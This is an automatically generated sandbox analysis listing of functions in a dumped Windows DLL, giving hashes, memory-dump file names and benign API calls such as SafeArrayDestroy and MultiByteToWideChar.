Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 670b64a5a0859606d201adae7cd0cdc3ac1f0c6d6ba423918dfb4fcefc3daa3c
Instruction ID: cb8262f91adcd142b14ea8467aa53cb2f16090b8c498851228b1b70163d0cd49
Opcode Fuzzy Hash: 670b64a5a0859606d201adae7cd0cdc3ac1f0c6d6ba423918dfb4fcefc3daa3c
Instruction Fuzzy Hash: 25313A70E016189FDB20DB69DC80B9EB7FAAF89204F24859AE419E7641C775ED40CF60

Function 6CF78D72 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: aedb8c8734c81f2ab96900609a9617e4238b16d0ea5f0480bc7d4831b4120c87
Instruction ID: dff4b9aa5e53f97d3047e089b068384282030e009bdbd73a4716cd3e49f5a980
Opcode Fuzzy Hash: aedb8c8734c81f2ab96900609a9617e4238b16d0ea5f0480bc7d4831b4120c87
Instruction Fuzzy Hash: 18315A70E016189FCB20CB69DC80B9EB7F9AF89204F21869AE419E7641D771ED40CF60

Function 6CF78E8E Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 1ae7aa34ad47881cc89b4ea689fa2ee11976fb9cafb425400be0a0a4b4878201
Instruction ID: faed25dea325c75878be81f203d6b38d9d5b14a2690c41c76e877221c2747c04
Opcode Fuzzy Hash: 1ae7aa34ad47881cc89b4ea689fa2ee11976fb9cafb425400be0a0a4b4878201
Instruction Fuzzy Hash: 97314E70E016189FDB20CFA9DC84B9EB7F9AF89204F25869AE419E7645C771ED40CF60

Function 6CF78F07 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 223d089181698b23298e53e35c96010127e6db9baf48dcd8d6fb204503b3eed4
Instruction ID: cdaa6811ea42f8fb3839a2966ae7e2ba8985efb8f0623acb481da635c94df1f7
Opcode Fuzzy Hash: 223d089181698b23298e53e35c96010127e6db9baf48dcd8d6fb204503b3eed4
Instruction Fuzzy Hash: 00313A70E016189FDB20CB69DC80B9EB7FAAF89304F25869AE419E7641C771ED40CF60

Function 6CF7884F Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 988fd7192cb13dc0e191263a2e8145f7afeb3abed83c50f5b2e97147354578b1
Instruction ID: 61ae8e7bf003c611d1959e3f43a0e160c4b8df5d13a97dad27b2b4a4ff384ef2
Opcode Fuzzy Hash: 988fd7192cb13dc0e191263a2e8145f7afeb3abed83c50f5b2e97147354578b1
Instruction Fuzzy Hash: C9313A70E016189FDB20CB69DC80B9EB7FAAF89204F24868AE419E7641C771ED41CF60

Function 6CF78B64 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: ab0752b0e2b2c9b71abbaaa35d531a9613c39bb77c21a3fb34942b74be92303a
Instruction ID: 44cd4f843142413b77507b029934cf8c6abbbd82f546ed5cc48f4f1a21b721d5
Opcode Fuzzy Hash: ab0752b0e2b2c9b71abbaaa35d531a9613c39bb77c21a3fb34942b74be92303a
Instruction Fuzzy Hash: 39314C70E016189FCB20DB69DC80B9EB7FAAF99204F24858BE419E7641C775ED40CF60

Function 6CF70561 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: bc47675cf9e056093f0c41d91a15409db9876c3e375fb0163684cb0b3bb65573
Instruction ID: 30fd825c1e6085b2a812ee960959d6ab6603bdb9cdbc93b01d29727f6156683f
Opcode Fuzzy Hash: bc47675cf9e056093f0c41d91a15409db9876c3e375fb0163684cb0b3bb65573
Instruction Fuzzy Hash: F7312DB0E01618DFCB60DFA9DD84B9DB7B9AF89204F34859AE418E7642C772DD408F60

Function 6CF700B4 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: ab0752b0e2b2c9b71abbaaa35d531a9613c39bb77c21a3fb34942b74be92303a
Instruction ID: aa3adb39174891bac33d6add91719094e27741830ed10b2b522f393f7eb6245c
Opcode Fuzzy Hash: ab0752b0e2b2c9b71abbaaa35d531a9613c39bb77c21a3fb34942b74be92303a
Instruction Fuzzy Hash: 8A312D70A01618DFCB60DF69DC84B9DB7B9AF85204F24859AE418E7641CB72DD418F60

Function 6CF701BE Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 670b64a5a0859606d201adae7cd0cdc3ac1f0c6d6ba423918dfb4fcefc3daa3c
Instruction ID: 243859a73d7e76b0b94f3b0bd6115dc63bb5a26a20afb8e30928bfabb586610e
Opcode Fuzzy Hash: 670b64a5a0859606d201adae7cd0cdc3ac1f0c6d6ba423918dfb4fcefc3daa3c
Instruction Fuzzy Hash: D5314F70E01618DFDB20DF69DC84B5DB7B9AF85204F24859AE418E7641C772DD408F60

Function 6CF702C2 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: aedb8c8734c81f2ab96900609a9617e4238b16d0ea5f0480bc7d4831b4120c87
Instruction ID: 848b3f273c408507a3fb4e7f71dd961f897327e0c3ec9be201e6eecd37cf14d1
Opcode Fuzzy Hash: aedb8c8734c81f2ab96900609a9617e4238b16d0ea5f0480bc7d4831b4120c87
Instruction Fuzzy Hash: 1A314DB0A01618DFCB10CFA9DC84B9DB7B9AF85204F30869AE418E7642CB72DD40CF60

Function 6CF703DE Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 1ae7aa34ad47881cc89b4ea689fa2ee11976fb9cafb425400be0a0a4b4878201
Instruction ID: d91ade034ff8a7db591101b88221ec8c90f672b7042b487f8a3068e407bdd676
Opcode Fuzzy Hash: 1ae7aa34ad47881cc89b4ea689fa2ee11976fb9cafb425400be0a0a4b4878201
Instruction Fuzzy Hash: 99312F70E01618DFCB60CF69DC84B9DB7B9AF85204F34869AE418E7655CB72DD408F60

Function 6CF6FD9F Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 988fd7192cb13dc0e191263a2e8145f7afeb3abed83c50f5b2e97147354578b1
Instruction ID: 70f2ee6870d72816aac43e92919bf6e1391ed24e5e2947f4e502021d6eae9210
Opcode Fuzzy Hash: 988fd7192cb13dc0e191263a2e8145f7afeb3abed83c50f5b2e97147354578b1
Instruction Fuzzy Hash: A0313CB0E01618DFCB50CFA9DC84B9DB7B9AF85204F34859AE418E7641CB72ED418F60

Function 6CF79011 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: bc47675cf9e056093f0c41d91a15409db9876c3e375fb0163684cb0b3bb65573
Instruction ID: bab293112ab20b85b4f2619cae2900531bb66e354eac6a9b13e27058f91f6d81
Opcode Fuzzy Hash: bc47675cf9e056093f0c41d91a15409db9876c3e375fb0163684cb0b3bb65573
Instruction Fuzzy Hash: 29314C70E016189FCB20DB69DC84B9EB7F9AF89204F24868AE419E7641DB71ED40CF60

Function 6CFC249C Relevance: 9.1, APIs: 6, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000100,?,?,?,?,?,6CFC25B1,?,00000000,?), ref: 6CFC24E6
_malloc.LIBCMT ref: 6CFC251B
_memset.LIBCMT ref: 6CFC253B
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,?,00000001,?,00000000,00000001,00000000), ref: 6CFC2550
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6CFC255E
__freea.LIBCMT ref: 6CFC2568

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ByteCharMultiWide$StringType__freea_malloc_memset
String ID:
API String ID: 525495869-0
Opcode ID: f2550d05ff3edb5236bf4b32da0d035f5551017e579659e27f10e0450c6e8477
Instruction ID: 501563a6e47ace9818a07d91436026e83db504ed858fbde75f7a37f0f339c57e
Opcode Fuzzy Hash: f2550d05ff3edb5236bf4b32da0d035f5551017e579659e27f10e0450c6e8477
Instruction Fuzzy Hash: 1631BDB1B1020AAFEB008F69DC84EAF7BA8EB08358F105425F914E2650EB36DD148B61

Function 6CF78A39 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6CF769C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6CF76A08
Part of subcall function 6CF769C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF76A15
Part of subcall function 6CF769C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF76A41

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
